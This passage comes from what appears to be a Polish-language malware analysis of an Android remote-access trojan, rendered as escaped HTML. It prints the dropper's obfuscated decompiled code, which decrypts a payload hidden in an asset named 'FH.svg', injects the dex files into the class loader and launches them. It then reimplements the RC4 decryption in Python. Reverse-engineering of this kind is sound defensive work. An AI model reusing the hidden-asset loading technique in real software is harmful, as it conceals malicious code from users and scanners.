    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i41&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i42&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;217123&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i41&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;885800&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i42&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i41&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i43&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i44&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;574525&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i43&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;w&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;w&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i44&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i45&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;z&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i46&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;959253&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;998332&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;q&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i43&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i46&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i47&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;s&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i47&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i46&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;954692&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;497340&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i44&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i45&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i42&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;443791&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;265205&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i44&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;134507&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i45&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i44&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;349505&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i45&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;766441&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i46&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;875409&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i42&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;717300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i42&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;998010&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i44&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i44&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;278880&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i46&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;681527&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i42&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;240077&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;746338&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i43&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;679593&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i43&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i48&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;t&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;iArr2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i49&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i48&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;iArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i47&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i49&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i50&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i51&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;531245&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;280568&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i50&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i51&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i52&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;n&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;50200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;500209&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;i51&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i52&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i52&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;814031&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;i50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;90657&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iArr2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;iArr3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;bArr2&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i40&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iArr3&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iArr3&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;s&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;iArr3&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;t&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;bArr&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i40&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Po deszyfrowaniu wynik jest traktowany jako archiwum i wstrzykiwany do aktywnego class loadera:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="n"&gt;dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;absolutePath2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;absolutePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;l&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getAbsolutePath&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;absolutePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;l&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;zD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;absolutePath2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Gdy &lt;code&gt;d(absolutePath2, context)&lt;/code&gt; zwraca sukces, zasób jest dodawany do &lt;code&gt;ArrayList&lt;/code&gt; i ładowany przez:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;arrayList&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;d&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;j&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClassLoader&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arrayList&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Następnie wykonanie zostaje przekazane do prawdziwej finalnej aplikacji:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;io.cifnzm.utility67pu.appcontainer.MainApplication&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Odszyfrowanie &lt;code&gt;FH.svg&lt;/code&gt; odzyskuje rzeczywiste ukryte pliki dex. To właśnie ten etap zawiera właściwą logikę RAT-a.&lt;/p&gt;
&lt;p&gt;Aby pokazać reprodukowalność tego etapu, odwzorowaliśmy logikę w osobnym helperze i zastosowaliśmy ją bezpośrednio do ukrytego zasobu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;rc4&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
        &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
